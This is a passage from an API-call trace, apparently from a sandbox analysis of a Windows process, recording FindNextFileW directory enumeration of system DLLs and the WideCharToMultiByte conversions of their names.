lpUsedDefaultChar=0x0) returned 12 [0040.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.872] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0040.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.872] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.873] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x1d3c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0040.873] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x1d3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0040.873] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x1d3c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0040.873] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x1d3c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0040.873] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x1d3c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0040.873] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.873] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0040.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x1d3c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0040.874] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x1d3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0040.874] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x1d3c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0040.874] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.874] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x1d3c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0040.874] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x1d3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0040.874] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.874] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.874] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0040.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.875] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0040.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.875] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0040.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.875] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0040.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.875] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0040.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.875] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0040.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.875] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0040.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.875] WideCharToMultiByte (in: 